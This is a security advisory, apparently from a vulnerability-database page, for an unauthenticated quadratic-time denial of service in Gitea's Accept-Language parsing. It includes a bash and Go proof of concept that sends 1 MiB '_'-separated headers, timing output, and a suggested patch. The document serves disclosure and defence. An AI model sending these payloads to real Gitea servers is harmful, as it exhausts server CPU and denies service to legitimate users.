Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
The Locale middleware that runs in front of every unauthenticated request
calls golang.org/x/text/language.ParseAcceptLanguage on the raw
Accept-Language header without imposing a size or shape filter. The
underlying parser has quadratic-time behaviour on long lists of malformed
language tags. The CVE-2022-32149 guard that golang.org/x/text added in
v0.3.8 caps the number of - characters in the input at 1000, but it does
not cap _ characters even though the parser's internal scanner aliases
_ to - before parsing. A single unauthenticated GET request with an
Accept-Language header built out of _ separators burns ~2 seconds of
server CPU on the host running Gitea; ten concurrent attackers saturate a
ten-core box for the duration of the attack while consuming ~1 MiB of
upstream bandwidth per request.
Affected versions
code.gitea.io/gitea 1.22.6 and (per code inspection of main) all
earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that
do not impose their own size limit on the Accept-Language header before
calling ParseAcceptLanguage. Verified on:
- the official
gitea/gitea:1.22.6docker image (E2E below) mainat commit6f4027a6be28c876c0abaf37cc939658645b78a3by reading
modules/web/middleware/locale.go(the call site at line 38 is unchanged
onmain)
Privilege required
Unauthenticated. The Locale middleware runs for every HTTP request
including the landing page and the sign-in page.
Vulnerable code
modules/web/middleware/locale.go:38
(blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):
1// 3. Get language information from 'Accept-Language'. 2// The first element in the list is chosen to be the default language automatically. 3if len(lang) == 0 { 4 tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language")) 5 tag := translation.Match(tags...) 6 lang = tag.String() 7}req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default
Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not
override it, so the parser is allowed to receive up to a megabyte of
attacker-controlled data.
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters
and rejecting inputs with more than 1000 of them. The guard does not count
_ characters even though the scanner converts _ to - at parse time
(golang.org/x/text/internal/language/parse.go).
A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens
contains zero - characters, passes the guard, and then drives the
scanner into the O(N²) gobble path. The fix author of CVE-2022-32149
treated - as the canonical separator; the _ alias was added in 2013,
nine years before the fix.
How Accept-Language reaches ParseAcceptLanguage
Every Gitea HTTP request passes through Locale as it is wired up via
the global request pipeline (Gitea registers the middleware on its router
in routers/web/web.go). The middleware sequence is:
- The request enters
Locale(resp, req). req.URL.Query().Get("lang")returns "" (attacker omitslang).req.Cookie("lang")returns nil on a fresh client (attacker uses a
fresh client, or simply does not send the cookie).req.Header.Get("Accept-Language")returns the full attacker-supplied
header value.language.ParseAcceptLanguage(...)runs unfiltered.
No size or character class filter is applied between (4) and (5).
Proof of concept
Single-line bash reproducer that crafts the malicious header and
times one request against a fresh gitea/gitea:1.22.6 container:
1docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6 2sleep 8 3 4PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" 5echo "header size = ${#PAYLOAD} bytes" 6 7curl -sS -o /dev/null \ 8 -w 'http=%{http_code} t=%{time_total}\n' \ 9 -H "Accept-Language: ${PAYLOAD}" \10 http://127.0.0.1:13000/Each 9-character _abcdefghi token has length 9, which fails the
scanner's len <= 8 tag-length check at
golang.org/x/text/internal/language/parse.go and triggers a gobble
call that runtime.memmoves the entire remaining buffer. With N invalid
tokens the total bytes moved by gobble is O(N²).
End-to-end reproduction (against gitea/gitea:1.22.6)
A Go driver poc.go that boots the container, sends a 1 MiB
Accept-Language value once with - (CVE-2022-32149 guard fires) and
once with _ (guard bypassed):
1// poc.go 2package main 3 4import ( 5 "fmt" 6 "io" 7 "net" 8 "net/http" 9 "strings"10 "time"11)12 13const targetURL = "http://127.0.0.1:13000/"14 15func buildPayload(sep string, targetBytes int) string {16 const tok = "abcdefghi"17 var b strings.Builder18 b.Grow(targetBytes + 16)19 b.WriteString("en")20 for b.Len()+1+len(tok) <= targetBytes {21 b.WriteString(sep)22 b.WriteString(tok)23 }24 return b.String()25}26 27func send(label, header string) {28 client := &http.Client{29 Timeout: 60 * time.Second,30 Transport: &http.Transport{31 DisableKeepAlives: true,32 DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,33 },34 }35 req, _ := http.NewRequest("GET", targetURL, nil)36 if header != "" {37 req.Header.Set("Accept-Language", header)38 }39 t0 := time.Now()40 resp, err := client.Do(req)41 dt := time.Since(t0)42 if err != nil {43 fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)44 return45 }46 _, _ = io.Copy(io.Discard, resp.Body)47 resp.Body.Close()48 fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",49 label, len(header),50 strings.Count(header, "_"), strings.Count(header, "-"),51 resp.StatusCode, dt)52}53 54func main() {55 send("warm-up", "")56 send("baseline (no header)", "")57 send("baseline (1 short tag)", "en-US")58 send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))59 send("attack ('_' x 1MiB)", buildPayload("_", 1<<20))60 send("attack repeat 2", buildPayload("_", 1<<20))61 send("attack repeat 3", buildPayload("_", 1<<20))62}Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the
official gitea/gitea:1.22.6 image with no other tuning):
1E2E: golang/x/text ParseAcceptLanguage '_' bypass through 2go-gitea/gitea 1.22.6 Locale middleware at 3modules/web/middleware/locale.go:38. 4 5Target: http://127.0.0.1:13000/ 6 7 warm-up (no header) header=0 B '_'=0 '-'=0 status=200 t=18.079666ms 8 9--- measurements (single request each) ---10 baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=6.480333ms11 baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=5.0455ms12 guard-fires control ('-' x 1MiB) header=1048572 B '_'=0 '-'=104857 status=200 t=26.020625ms13 attack ('_' x 1MiB) header=1048572 B '_'=104857 '-'=0 status=200 t=2.159538333s14 attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.938493583s15 attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.679953042sInterpretation:
| Request | Header bytes | Server time |
|---|---|---|
| no header / short tag | 0 - 5 | 1 - 7 ms |
1 MiB - separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms |
1 MiB _ separators (guard bypassed) | 1 MiB | 1.7 - 2.2 s |
The - control proves that the existing CVE-2022-32149 guard does still
work on the canonical separator: a 1 MiB - payload returns in 26 ms
because the parser short-circuits with ErrTagListTooLarge. The _
attack returns 200 from the same endpoint but consumes ~2 s of server
CPU because the guard did not fire and the quadratic scanner ran to
completion.
Impact
- One unauthenticated client can pin one CPU core for ~2 seconds per 1
MiB request. - Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a
10-core Gitea instance indefinitely. - The endpoint returns 200 OK, so the attack does not surface as
abnormal traffic in standard 4xx/5xx dashboards. - Self-hosted Gitea installations published to the public internet (the
common pattern) are exposed.
Suggested fix
Apply the size / character-class filter before reaching
ParseAcceptLanguage. The smallest change that preserves the existing
behaviour for legitimate Accept-Language headers is to count _
alongside - and short-circuit when the total exceeds a small ceiling:
1// modules/web/middleware/locale.go 2const maxAcceptLanguageSeparators = 32 // matches typical real browser values 3 4if len(lang) == 0 { 5 al := req.Header.Get("Accept-Language") 6 if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators { 7 // Refuse to call into the BCP 47 parser with absurd input. 8 al = "" 9 }10 tags, _, _ := language.ParseAcceptLanguage(al)11 tag := translation.Match(tags...)12 lang = tag.String()13}A real Accept-Language header from a browser contains under 10
separators, so a ceiling of 32 leaves plenty of headroom while making
the quadratic blow-up impossible.
The underlying issue is in golang.org/x/text/language. A future
upstream fix is the right long-term solution; the change above is
defensive in depth at the only call site that consumes attacker input.
Credit
Reported by tonghuaroot.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.